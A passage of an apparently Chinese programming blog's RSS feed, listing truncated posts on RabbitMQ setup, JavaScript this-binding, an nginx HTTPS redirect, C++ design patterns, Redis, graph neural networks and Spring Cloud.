      <description>1：参考资料 cmake构建项目&#xA;https://blog.csdn.net/gaoshou_zgt/article/details/104144340/&#xA;官方文档：&#xA;https://fairygui.com/docs/sdk/cocos2dx&#xA;https://github.com/fairygui/FairyGUI-cocos2dx&#xA;2：构建cocos2dx例子项目 参展上图的项目结构&#xA;运行成功&#xA;3：问题 官方新增了个3D装载器，这里编译不过注释先</description>
    </item>
    <item>
      <title>windows下RabbitMQ安装后，无法进入web管理页面问题</title>
      <link>https://bchobby.github.io/posts/756ad1d6d0cd0fff67468a9817dcce35/</link>
      <pubDate>Thu, 22 Apr 2021 17:13:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/756ad1d6d0cd0fff67468a9817dcce35/</guid>
      <description> 问题: 安装RabbitMQ后无法访问http://localhost:15672/ 无法进入UI管理界面 解决办法 查看UI管理界面插件是否开启? 1、在cmd窗口下进入rabbitmq安装目录下的sbin目录，使用rabbitmq-plugins.bat list查看已安装的插件列表。&#xA;2、使用rabbitmq-plugins.bat enable rabbitmq_management开启网页管理界面&#xA;3、在浏览器中输入http://127.0.0.1:15672/&#xA;输入用户名和密码（默认为guest）&#xA;到这完成了后台管理页面功能的开启。&#xA;更多编程支持，请关注我的公众号《coder练习生》 </description>
    </item>
    <item>
      <title>js获取当前URL、域名、端口号等</title>
      <link>https://bchobby.github.io/posts/ba1c9e7c2b1cda03b46559e2401ee879/</link>
      <pubDate>Thu, 22 Apr 2021 14:27:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba1c9e7c2b1cda03b46559e2401ee879/</guid>
      <description>属性值举例结果href完整的URLhttp://localhost:8080/project/front/user/serviceIndex?type=1protocol协议http:hostname主机名localhostport端口号8080host主机名+端口号localhost:8080pathname当前 URL 的相对路径 /project/front/user/serviceIndex&#xA;search当前 URL 的参数?type=1hash#开始的锚 获取方法，如：window.location.hostname，得：localhost 转发来自：js获取当前URL、域名、端口号等</description>
    </item>
    <item>
      <title>罗技Ghub一直初始化/打不开的解决办法</title>
      <link>https://bchobby.github.io/posts/862dc06df47690d553478a9593cca7f8/</link>
      <pubDate>Thu, 22 Apr 2021 14:18:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/862dc06df47690d553478a9593cca7f8/</guid>
      <description>当罗技Ghub一直初始化时，看网上说的原因是因为它想更新，但是国内没有服务器，所以一直循环。&#xA;治标的解决办法就是，首先，关掉lghub，包括后台。&#xA;然后点击第四个lghub_updater.exe&#xA;当然，你打不开它，但是稍等一下，你再去开启lghub.exe，你就会发现，打开了！&#xA;亲测了3次有效。&#xA;治本的解决办法还没发现，发现了再更新</description>
    </item>
    <item>
      <title>call、apply、bind的用法</title>
      <link>https://bchobby.github.io/posts/3b0a9fc84d7f57ecadb5d0d1273fdf16/</link>
      <pubDate>Thu, 22 Apr 2021 10:10:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b0a9fc84d7f57ecadb5d0d1273fdf16/</guid>
      <description>一个案例明白call(），apply（）,bind()的用于以及区别&#xA;&amp;lt;script&amp;gt;&#xA;var [name,age] =[&#39;张洪伟&#39;,&#39;17&#39;]&#xA;var obj = {&#xA;nikename:&#39;小张同学&#39;,&#xA;yourage:this.age, //17&#xA;do:function(girl,play){&#xA;console.log(this.nikename + &#39;的年龄是&#39;+this.age+&#39;喜欢&#39;+girl +&#34;和&#34; +play)&#xA;}&#xA;}&#xA;console.log(obj.nikename)&#xA;console.log(obj.yourage) //指向全局this window&#xA;// obj.do()//&#xA;// bind() apply() call()都可以用来改变this指向&#xA;var obj2 = {&#xA;nikename:&#39;小宏同学&#39;,&#xA;age:18,&#xA;like:&#39;耍帅&#39;&#xA;}&#xA;obj.do.call(obj2); //小宏同学的年龄是18&#xA;obj.do.apply(obj2) //小宏同学的年龄是18&#xA;obj.do.bind(obj2)() //小宏同学的年龄是18&#xA;// 1.call() apply() bind() 都可以改变this指向 但是 bind() 绑定的意思（）&#xA;obj.do.call(obj2,&#39;漂亮女孩&#39;,&#39;打游戏&#39;);&#xA;obj.do.apply(obj2,[&#39;大眼睛的女孩&#39;,&#39;打王者&#39;])&#xA;// call和apply的区别 call接受单个参数, , , apply接受数组&#xA;obj.do.bind(obj2,&#39;女生&#39;,&#39;吃&#39;)()&#xA;// bind接受单个参数,,,&#xA;&amp;lt;/script&amp;gt;</description>
    </item>
    <item>
      <title>[GO] golang 中main包下入口文件调用其它go文件函数出现undefined</title>
      <link>https://bchobby.github.io/posts/0c43b1d545cdf89fdc4a900c7d24c580/</link>
      <pubDate>Wed, 21 Apr 2021 23:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c43b1d545cdf89fdc4a900c7d24c580/</guid>
      <description>golang main包下推荐只有一个main.go的入口文件&#xA;当有其他的go文件 ， 并且在其他go文件中定义了函数&#xA;在main.go入口文件中调用了该函数 ， 执行go run main.go , 会提示undefined&#xA;如果非得这样做那么go run 的时候把所有文件都得加上 ， 否则默认只加载main.go这一个文件&#xA;只有非main包里的文件才会通过依赖去自动加载。所以你需要输入多个文件作为参数&#xA;应该使用go run a.go b.go c.go 或 go run *.go来运行，编译同理</description>
    </item>
    <item>
      <title>自动跳转http://www.veryyx.com nginx配置</title>
      <link>https://bchobby.github.io/posts/4d120bed96505632c865c4996c84a815/</link>
      <pubDate>Wed, 21 Apr 2021 22:42:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d120bed96505632c865c4996c84a815/</guid>
      <description>server {&#xA;listen 80;&#xA;server_name www.abcd.com abcd.com; rewrite ^(.*)$ https://$host$1 permanent;&#xA;location / {&#xA;index index.html index.htm;&#xA;}&#xA;}&#xA;server {&#xA;listen 443 ssl;&#xA;server_name www.veryyx.cn abcd.com;&#xA;#ssl on;&#xA;ssl_certificate /usr/local/nginx/conf/3749980_www.abcd.com_nginx/3749980_www.abcd.com.pem;&#xA;ssl_certificate_key /usr/local/nginx/conf/3749980_www.abcd.com_nginx/3749980_www.abcd.com.key;&#xA;ssl_session_timeout 5m;&#xA;ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;&#xA;ssl_protocols TLSv1 TLSv1.1 TLSv1.2;&#xA;ssl_prefer_server_ciphers on;&#xA;if ($http_host !~ &#39;^www\.abcd\.com$&#39;) {&#xA;rewrite ^(.*) https://www.abcd.com$1 redirect;&#xA;} root /home/www/wwwroot/abcd/public;&#xA;index index.html index.htm index.php;&#xA;include enable-php.conf;&#xA;location / {&#xA;#try_files $uri $uri/ /index.php?$query_string;&#xA;try_files $uri $uri/ /index.</description>
    </item>
    <item>
      <title>C&#43;&#43;设计模式--Decorator 装饰模式</title>
      <link>https://bchobby.github.io/posts/3ef96cfed83428995c039b92fbfd671c/</link>
      <pubDate>Wed, 21 Apr 2021 21:03:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ef96cfed83428995c039b92fbfd671c/</guid>
      <description>“单一职责”模式:&#xA;在软件组件的设计中，如果责任划分的不清晰，使用继承得到的结果往往是随着需求的变化，子类急剧膨胀，同时充斥着重复代码，这时候的关键是划清责任。&#xA;典型模式&#xA;• Decorator&#xA;• Bridge&#xA;1. Decorator 装饰模式 动机（Motivation）&#xA;在某些情况下我们可能会“过度地使用继承来扩展对象的功能”，由于继承为类型引入的静态特质，使得这种扩展方式缺乏灵活性；并且随着子类的增多（扩展功能的增多），各种子类的组合（扩展功能的组合）会导致更多子类的膨胀。&#xA;如何使“对象功能的扩展”能够根据需要来动态地实现？同时避免“扩展功能的增多”带来的子类膨胀问题？从而使得任何“功能扩展变化”所导致的影响将为最低？&#xA;代码示例&#xA;流操作，有内存流，网络流，文件流；也有各种各样的操作：读，写，定位，加密&#xA;//业务操作 class Stream{ //基类 public： virtual char Read(int number)=0; virtual void Seek(int position)=0; virtual void Write(char data)=0; virtual ~Stream(){} }; //主体类 class FileStream: public Stream{ // 文件流 public: virtual char Read(int number){ //读文件流 } virtual void Seek(int position){ //定位文件流 } virtual void Write(char data){ //写文件流 } }; class NetworkStream :public Stream{ // 网络流 public: virtual char Read(int number){ //读网络流 } virtual void Seek(int position){ //定位网络流 } virtual void Write(char data){ //写网络流 } }; class MemoryStream :public Stream{ // 内存流 public: virtual char Read(int number){ //读内存流 } virtual void Seek(int position){ //定位内存流 } virtual void Write(char data){ //写内存流 } }; //扩展操作，加密文件流，读，写，定位操作前后进行加密操作 class CryptoFileStream :public FileStream{ // 继承文件流 public: virtual char Read(int number){ //额外的加密操作.</description>
    </item>
    <item>
      <title>【RocketMQ】学习RocketMQ必须要知道的主从同步原理</title>
      <link>https://bchobby.github.io/posts/d07bf938b9fd71b93d02130aa033f724/</link>
      <pubDate>Wed, 21 Apr 2021 18:44:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d07bf938b9fd71b93d02130aa033f724/</guid>
      <description>本文主要参考《RocketMQ技术内幕》和《RocketMQ实战与原理分析》两本书，​以及RocketMQ 4.8.0的源码，作为学习的记录&#xA;RocketMQ的Broker分为Master和Slave两个角色，为了保证高可用性(HA)， Master角色的机器接收到消息后，要把内容同步到Slave机器上，这样一旦Master宕机，Slave机器依然可以提供服务。 下面介绍Master和Slave角色机器间同步功能实现的源码。&#xA;同步元数据 ​ Slave需要和Master同步的不只是消息本身，一些元数据信息也需要同步，比如TopicConfig信息、ConsumerOffset信息、DelayOffset和SubscriptionGroupConfig信息。 元数据的同步操作是由Slave发起的，定时从Master获取，核心代码如下：&#xA;private void handleSlaveSynchronize(BrokerRole role) { if (role == BrokerRole.SLAVE) { if (null != slaveSyncFuture) { slaveSyncFuture.cancel(false); } this.slaveSynchronize.setMasterAddr(null); slaveSyncFuture = this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() { @Override public void run() { try { BrokerController.this.slaveSynchronize.syncAll(); } catch (Throwable e) { log.error(&#34;ScheduledTask SlaveSynchronize syncAll error.&#34;, e); } } }, 1000 * 3, 1000 * 10, TimeUnit.MILLISECONDS); } else { //handle the slave synchronise if (null !</description>
    </item>
    <item>
      <title>C&#43;&#43;设计模式--Strategy 策略模式 和 Observer 观察者模式</title>
      <link>https://bchobby.github.io/posts/37bd441973a918b60cc2d7c484f9e458/</link>
      <pubDate>Wed, 21 Apr 2021 17:20:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37bd441973a918b60cc2d7c484f9e458/</guid>
      <description>“组件协作”模式:&#xA;现代软件专业分工之后的第一个结果是“框架与应用程序的划分”，“组件协作”模式通过晚期绑定，来实现框架与应用程序之间的松耦合，是二者之间协作时常用的模式。&#xA;典型模式&#xA;• Template Method&#xA;• Strategy&#xA;• Observer / Event&#xA;1. Strategy 策略模式 动机（ Motivation）&#xA;在软件构建过程中，某些对象使用的算法可能多种多样，经常改变，如果将这些算法都编码到对象中，将会使对象变得异常复杂；而且有时候支持不使用的算法也是一个性能负担（有的算法代码几乎不用，却要装到缓存中）。&#xA;如何在运行时根据需要透明地更改对象的算法？将算法与对象本身解耦，从而避免上述问题？&#xA;代码示例&#xA;税的计算，有许多国家。刚开始支持CN,US,DE，后来由于业务需求变化，需要添加另一些国家，例如法国FR&#xA;第一种做法，利用枚举类型实现。如果要添加法国的税法计算方法，则需要改变代码，在源代码中添加新的代码。违背了开放封闭原则（对扩展开放，对更改封闭），类模块应该尽可能以扩展的方式应对未来的变化，而不是找到源代码并修改源代码这种方式应对变化。改源代码，需要重现编译，测试，部署，代价高。&#xA;enum TaxBase { CN_Tax, US_Tax, DE_Tax, FR_Tax //更改 }; class SalesOrder{ TaxBase tax; public: double CalculateTax(){ //... if (tax == CN_Tax){ //CN*********** } else if (tax == US_Tax){ //US*********** } else if (tax == DE_Tax){ //DE*********** } else if (tax == FR_Tax){ //更改 //... } //.... } }; 第二种方式。创建一个TaxStrategy基类，各国的作为子类。在SalesOrder类中，使用工厂模式为多态指针创建具体的子类对象，具体的创建由StrategyFactory决定。</description>
    </item>
    <item>
      <title>Python ValueError: File is not a recognized excel file</title>
      <link>https://bchobby.github.io/posts/071653fca1b231664ea93e37a483e1cb/</link>
      <pubDate>Wed, 21 Apr 2021 16:44:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/071653fca1b231664ea93e37a483e1cb/</guid>
      <description>Python读取Excel类文件错误 我是在pandas读取xlsx文件时遇到的错误&#xA;ValueError: File is not a recognized excel file ValueError:文件不是可识别的excel文件 这个错误的原因是xlsx文件本身的问题，可能是wps或是Excel保存格式出错无法被识别。&#xA;之后重新制作xlsx文件并完整保存&#xA;ImportError: Missing optional dependency &#39;xlrd&#39;. Install xlrd &amp;gt;= 1.0.0 for Excel support Use pip or conda to install xlrd. ImportError:缺少可选依赖项“xlrd”。安装xlrd&amp;gt;=1.0.0 for Excel支持使用pip或conda安装xlrd。 这里又出现了新问题，缺少xlrd，pip 安装 xlrd 模块即可&#xA;pip install xlrd&#xA;如果安装的是2.0以下版本的xlrd模块，此次的读取问题应该已经解决了。&#xA;但是如果安装的xlrd版本超过2.0，依旧会有错误&#xA;ValueError: Your version of xlrd is 2.0.1. In xlrd &amp;gt;= 2.0, only the xls format is supported. Install openpyxl instead. ValueError:您的xlrd版本是2.0.1。在xlrd&amp;gt;=2.0中，仅支持xls格式。改为安装openpyxl。 这里的问题是由于xlrd2.0以上版本仅支持xls格式Excel，pip 安装 openpyxl 模块即可</description>
    </item>
    <item>
      <title>标题Ant Design of Vue 组件库中Modal“确认“按钮和“取消“按钮成英文状态</title>
      <link>https://bchobby.github.io/posts/1e36f8d8298cdfeac34963938980cfc5/</link>
      <pubDate>Wed, 21 Apr 2021 16:41:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e36f8d8298cdfeac34963938980cfc5/</guid>
      <description> 标题Ant Design of Vue 组件库中Modal&#34;确认&#34;按钮和&#34;取消&#34;按钮成英文状态 因为是国际化的原因，造成确定按钮和取消按钮变成英文，需要设置 okText 与 cancelText 以自定义按钮文字。&#xA;&amp;lt;div&amp;gt; &amp;lt;a-modal v-model=&#34;visible&#34; title=&#34;功能模块配置&#34; @ok=&#34;handleOk&#34; ok-text=&#34;确认&#34; cancel-text=&#34;取消&#34;&amp;gt; &amp;lt;p&amp;gt;Some contents...&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;Some contents...&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;Some contents...&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;Some contents...&amp;lt;/p&amp;gt; &amp;lt;/a-modal&amp;gt; &amp;lt;/div&amp;gt; 我找了很多原因，但是，通过我百度发现，都是清一色设置本地解析为zh-CN，在vue中我设置了，但是不起作用，我又把index.html中的语言设置成lang=&#34;zh-CN&#34;还是不起作用，我有又看了API结合之前百度到的关键字眼国际化又找到Modal中的国际化，果然，惊喜就在眼前，美滋滋。。。。。。。。雄起，奥利给！！！！！！&#xA;设置之前： 设置之后： </description>
    </item>
    <item>
      <title>流动粒子（flow01001）</title>
      <link>https://bchobby.github.io/posts/ae257bc9e36cfa320a50502468d0bcb7/</link>
      <pubDate>Wed, 21 Apr 2021 15:17:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae257bc9e36cfa320a50502468d0bcb7/</guid>
      <description>流动粒子（flow01001） 示例HTMLCSSJS 更多有趣示例 尽在知屋安砖社区&#xA;示例 HTML &amp;lt;script id=&#34;vertexShader_particle&#34; type=&#34;x-shader/x-vertex&#34;&amp;gt; attribute vec3 a_position; attribute vec3 a_particle; attribute vec2 a_reference; uniform float u_time; uniform mat4 u_m_model; uniform mat4 u_m_view; uniform mat4 u_m_MVP; uniform mat4 u_m_proj; uniform sampler2D b_position; uniform sampler2D b_velocity; varying vec3 v_colour; varying float v_fogDepth; varying float v_opacity; float random(vec2 st) { return fract(sin(dot(st, vec2(12.9898,78.233)))* 43758.5453123); } vec3 hsv2rgb(vec3 c) { vec4 K = vec4(1.0, 2.0 / 3.0, 1.0 / 3.</description>
    </item>
    <item>
      <title>万字长文，38 图爆肝 Redis 基础！</title>
      <link>https://bchobby.github.io/posts/cc7c83b46010c3863ce2feb8f1d4af3e/</link>
      <pubDate>Wed, 21 Apr 2021 15:11:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc7c83b46010c3863ce2feb8f1d4af3e/</guid>
      <description>00 前言 Redis 在互联网技术存储方面的使用可以说是非常广泛了，只要是接触过 Java 开发的朋友就算你没用过，都会听过它。在面试也是非常高频的一个知识点。&#xA;最近，我的的小弟小胖和老王就对 Redis 非常感兴趣；我推荐它一本书《Redis设计与实现》。谁知这货说看不下去，非要我来总结一波。所以本文算是给小胖和老王的学习资料，也是我自己的学习笔记。希望对你有帮助。&#xA;还是老规矩，先上张脑图。全文 13274 字，从下午 2 点爆肝到晚上 9 点，先上张思维导图镇楼：&#xA;0.1 往期精彩 1、小胖问我：select 语句是怎么执行的？&#xA;2、女朋友问我：MySQL 索引的原理是怎样的？&#xA;3、小胖问我：MySQL 日志到底有啥用？&#xA;4、老王问我：MySQL 事务与 MVCC 原理是怎样的？&#xA;5、女朋友问我：MySQL 的锁机制是怎样的？&#xA;01 什么是 Redis？ 官方是这么描述的：&#xA;Redis （用 C 语言实现的）是一个开源的，基于内存的数据结构存储，可用作于数据库、缓存、消息中间件。&#xA;信息简洁明了，一下就知道了三个点：基于内存、用作缓存、多种数据结构。&#xA;的了，那就从这三个方面开始研究呗。&#xA;1.0 为什么要用 Redis 做缓存？ 上面说了，用作缓存。有些小伙伴可能会问：有 MySQL 数据库就得了呗？干嘛还要缓存？而且为啥要用 Redis 做？Map 不行嘛？&#xA;第一、二个问题，都知道 MySQL 数据是存在磁盘的，而 CPU 访问磁盘是非常慢的。如果遇到并发高的时候，所有线程每次都要访问磁盘，估计得挂。 到底有多慢？请看链接：zhuanlan.zhihu.com/p/24726196&#xA;Redis 和 Map 做下对比，就知道为啥不合适了。&#xA;Map 是本地缓存，如果在多台机器部署，必须每个机器都要复制一份，否则造成缓存不一致；Redis 是分布式缓存，部署在多台机器，也是用的同一份缓存，保持了一致性，问题不大。Map 做缓存，数据量大的话会导致 JVM 内存飙升，进而拖垮程序，并且 JVM 挂了，还会导致数据丢失；Redis 可以用更大容量的内存（看你的配置，即几十G都没问题）做缓存，并且还可以持久化到磁盘。 02 Redis 的数据结构 你可能第一反应不就 “String（字符串）、List（列表）、Hash（哈希）、Set（集合）和 Sorted Set（有序集合）么？”，太简单了，我都会。</description>
    </item>
    <item>
      <title>详解GCN的性质</title>
      <link>https://bchobby.github.io/posts/673bb0dd924d0e0588cb2579efc7f705/</link>
      <pubDate>Wed, 21 Apr 2021 01:31:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/673bb0dd924d0e0588cb2579efc7f705/</guid>
      <description>前言 本文参考 – 深入浅出图神经网络 GNN 原理解析一书&#xA;GCN 的性质 GCN 与 CNN 的联系 1. 图像是一种特殊的图数据&#xA;在图像中如果将像素视作节点，将像素之间空间坐标的连线作为彼此之间的边，如此图像数据就变成了一种结构非常规则的图数据，CNN 中的卷积计算则是用来出来这类固定的 2D 栅格结构的图数据。相较之下，一般意义下的图数据，往往单个节点附近的邻域结构是千差万别的，数据之间的关系也较为复杂多样，GCN中的卷积计算则是用来处理更普遍的非结构化的图数据。&#xA;2.从网络连接方式来看，两者都是局部连接&#xA;在 GCN 中的计算方式是每次图卷积操作作用范围是当前节点的一节子图，对于 CNN 来说针对于不同大小的卷积核，计算范围是当前节点的固定大小的 n × n n \times n n×n 的栅格内的像素。这种节点下一层的特征计算只依赖于自身领域的方式，在网络连接上表现为一种局部连接的结构。&#xA;3.两者的卷积核的权重是处处共享的&#xA;与 CNN 一样，GCN 的卷积核也作用于全图的所有节点，在每个节点处的计算中权重参数是共享的，这样的处理方式大大减少了单层网络的参数量，可以有效避免过拟合的现象出现。&#xA;4.从模型层面看，感受域随着卷积层的增加而变大&#xA;对于 CNN 来说，随着层数增多，所包含的信息来源于更广泛的临近像素点，对于 GCN 来说，层数加深表明信息的来源于更高阶的子图结构。&#xA;GCN 对图结构数据进行端到端的学习 图数据中同时包含着两部分信息：属性信息与结构信息。属性信息描述了图中对象的固有性质；结构信息描述了对象之间的关联性质，这种关联所产生的结构不仅对图数据中节点的刻画具有很大的帮助作用，而且对全图的刻画也非常关键。一个优秀的针对图数据的学习系统，必须能够做到对属性信息和结构信息进行端到端的学习。&#xA;在此之前，介绍两种非常典型的图数据学习方式 – 基于手工特征和基于随机游走。&#xA;一般来说，图数据中的属性信息的处理是比较简单的，按照属性的类型进行相应的编码设计，然后将其拼接成一个表示节点属性的特征向量就可以了，但是结构信息蕴含在节点之间的关系中，是比较难处理的。上述的两种方法核心都在于如何处理图的结构信息上。&#xA;基于手工特征：该方法对于图数据的处理方式依赖于人工干预，具体来说，将图中节点的结构信息以一些图的统计特征进行代替，常见的有节点的度、节点的中心度、节点的 PageRank 值等，然后将这个代表节点结构信息的特征向量与代表节点属性信息的特征向量拼接在一起，送到下游任务中进行学习。这种方法的最大问题在于，表示结构信息的特征向量需要人为定义，因此很难确定这些统计特征是否对学习后面的任务有效。&#xA;基于随机游走&#xA;其基本思想是将图中节点所满足的关系与结构的性质映射到一个新的向量空间中，比如在图中距离更近的两个节点，在新的向量空间中的距离也更近。通过这样的优化目标即将图里面的数据转化成向量空间中的数据，这样处理起来更加方便。&#xA;该方法和基于手工特征的方法的思路一样，将代表节点的结构信息的特征向量和属性信息的向量进行拼接，然后进行下游的任务学习。所不同的是，其节点的结构信息是通过随机游走类方法进行学习的，并不依赖人为定义，因此相比之下会更加高效。&#xA;GCN 方法可以完成对结构信息和属性信息的端到端的学习。其核心在于计算公式上： L ~ s y m X W \mathbf{\widetilde{L}_{sym}XW} L sym​XW，这一计算过程可以分解成两步：&#xA;W X \mathbf{WX} WX 是对属性信息的仿射变换，学习了属性特征之间的交互模式。 L ~ s y m X W \mathbf{\widetilde{L}_{sym}XW} L sym​XW从空域来看是聚合邻居节点的过程，代表了对节点局部结构信息的编码。 在这里引入一个很重要的概念：图同构问题（graph isomorphism problem），即给定两个图，判断这两个图是否是完全等价的。具体描述为：假设有两个图 H = ( V H , E H ) H=(V_H,E_H) H=(VH​,EH​) 和图 G = ( V , E ) G=(V,E) G=(V,E) 子图 同构即从 H H H 到 G G G 存在这样一个函数 f : V H → V f:V_H \rightarrow V f:VH​→V 并且 ( u , v ) ∈ E H (u,v)\in E_H (u,v)∈EH​ 使得 ( f ( u ) , f ( v ) ) ∈ E (f(u),f(v))\in E (f(u),f(v))∈E 同样成立, f f f 叫做子图同构的一个映射。</description>
    </item>
    <item>
      <title>详解图信号处理与图卷积神经网络</title>
      <link>https://bchobby.github.io/posts/8f216550a213715a48338c6d387893fb/</link>
      <pubDate>Tue, 20 Apr 2021 22:54:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f216550a213715a48338c6d387893fb/</guid>
      <description>前言 本文参考 – 深入浅出图神经网络 GNN 原理解析一书&#xA;图信号处理 图信号处理（Graph Signal Processing ，GSP）是离散信号处理（Discrete Signal Processing，DSP）理论在图信号领域的应用。其通过傅里叶变换、滤波等信号处理基本概念的迁移，来研究对图信号的压缩、变换、重构等信号处理的基础任务。&#xA;图信号与图的拉普拉斯矩阵 图信号&#xA;给定图 G ( V , E ) G(V,E) G(V,E)，其中 V V V 表示图中的节点集合，图信号是一种描述从节点域到实数域的映射，表示成向量的形式为： x = [ x 1 , x 2 , … , x N ] T \mathbf{x}=[x_1,x_2,\dots,x_N]^T x=[x1​,x2​,…,xN​]T，其中 x i x_i xi​ 表示的是节点 v i v_i vi​ 上的信号强度。与离散时间时间信号不同，图信号是定义在节点上的信号，节点之间有自己固有的关联结构，在研究图信号的性质的时候，除了要考虑图信号的强度之外，还要考虑图的拓扑结构，不同图上同一强度的信号，具有截然不同的性质&#xA;在大多数任务中，图信号指的就是图中节点的特征矩阵&#xA;图的拉普拉斯矩阵&#xA;拉普拉斯矩阵（Laplacian Matrix）是用来研究图的结构性质的核心对象，拉普拉斯矩阵的定义如下： L = D − A \mathbf{L=D-A} L=D−A，其中 D i i = ∑ j A i j \mathbf{D}_{ii}=\sum_j\mathbf{A}_{ij} Dii​=∑j​Aij​ 是由节点的度组成的对角矩阵。对应的 A \mathbf{A} A 就代表图的邻接矩阵。在实际应用中常用的是对称归一化拉普拉斯矩阵，定义为： L s y m = D − 1 2 L D − 1 2 \mathbf{L_{sym}=D^{-\frac{1}{2}}LD^{-\frac{1}{2}}} Lsym​=D−21​LD−21​</description>
    </item>
    <item>
      <title>C&#43;&#43;设计模式--模板方法</title>
      <link>https://bchobby.github.io/posts/d5a216247046e46d58ff4413c6a8f40c/</link>
      <pubDate>Tue, 20 Apr 2021 21:55:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5a216247046e46d58ff4413c6a8f40c/</guid>
      <description>组件协作”模式:&#xA;现代软件专业分工之后的第一个结果是“框架与应用程序的划分”，“组件协作”模式通过晚期绑定，来实现框架与应用程序之间的松耦合，是二者之间协作时常用的模式。&#xA;典型模式&#xA;• Template Method&#xA;• Observer / Event&#xA;• Strategy&#xA;Template Method 动机（ Motivation）&#xA;在软件构建过程中，对于某一项任务，它常常有稳定的整体操作结构，但各个子步骤却有很多改变的需求，或者由于固有的原因（比如框架与应用之间的关系）而无法和任务的整体结构同时实现。&#xA;如何在确定稳定操作结构的前提下，来灵活应对各个子步骤的变化或者晚期实现需求？&#xA;在这个方式，蓝色的调用红色的，也就是应用程序开发人员的代码调用程序库开发人员的代码&#xA;//程序库开发人员开发1、3、5三个步骤 class Library{ public: void Step1(){ //... } void Step3(){ //... } void Step5(){ //... } }; //应用程序开发人员开发2、4步骤和程序主流程 class Application{ public: bool Step2(){ //... } void Step4(){ //... } }; int main() { Library lib(); Application app(); lib.Step1(); if (app.Step2()){ lib.Step3(); } for (int i = 0; i &amp;lt; 4; i++){ app.</description>
    </item>
    <item>
      <title>对于Spring Cloud Feign入门示例的一点思考</title>
      <link>https://bchobby.github.io/posts/0f965980159d37c67b6489c39a8bde4c/</link>
      <pubDate>Tue, 20 Apr 2021 09:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f965980159d37c67b6489c39a8bde4c/</guid>
      <description>原文地址 blog.csdn.net&#xA;Spring Cloud Feign Spring Cloud Feign 是一套基于 Netflix Feign 实现的声明式服务调用客户端。它使得编写 Web 服务客户端变得更加简单。我们只需要通过创建接口并用注解来配置它既可完成对 Web 服务接口的绑定。它具备可插拔的注解支持，包括 Feign 注解、JAX-RS 注解。它也支持可插拔的编码器和解码器。Spring Cloud Feign 还扩展了对 Spring MVC 注解的支持，同时还整合了 Ribbon 和 Eureka 来提供均衡负载的 HTTP 客户端实现。&#xA;分布式应用早在十几年前就开始出现，各自的应用运行在各自的 tomcat，jboss 一类的容器中，他们之间的相互调用变成了一种远程调用，而实现远程调用的方式很多。按照协议划分，可以有 RPC，Webservice，http。不同的框架也对他们有了各自的实现，如 dubbo(x)，motan 就都是 RPC 框架，本文所要讲解的 Feign 便可以理解为一种 http 框架，用于分布式服务之间通过 Http 进行接口交互。说他是框架，有点过了，可以理解为一个 http 工具，只不过在 spring cloud 全家桶的体系中，它比 httpclient，okhttp，retrofit 这些 http 工具都要强大的多。&#xA;入门 先用一个简单的例子，看看如何在项目中使用 Feign。示例项目使用 maven 多 module 构建，采用 springcloud 的 Dalston.SR1 版本&#xA;&amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;Dalston.</description>
    </item>
    <item>
      <title>以 zookeeper 为注册中心搭建 spring cloud 环境</title>
      <link>https://bchobby.github.io/posts/b195dc0c8ff95726e5154eb6d9835395/</link>
      <pubDate>Tue, 20 Apr 2021 09:27:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b195dc0c8ff95726e5154eb6d9835395/</guid>
      <description>原文地址 www.jianshu.com&#xA;在 spring cloud 体系中，有多种手段实现注册中心，本例中采用 zookeeper 作为注册中心的角色。服务提供者向 zookeeper 注册，服务消费者从 zookeeper 中发现服务提供者的相关信息，从而远程调用服务提供方。&#xA;服务提供者 引入相关依赖 &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.4.2.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-config&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-zookeeper-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 热部署工具 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-devtools&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; 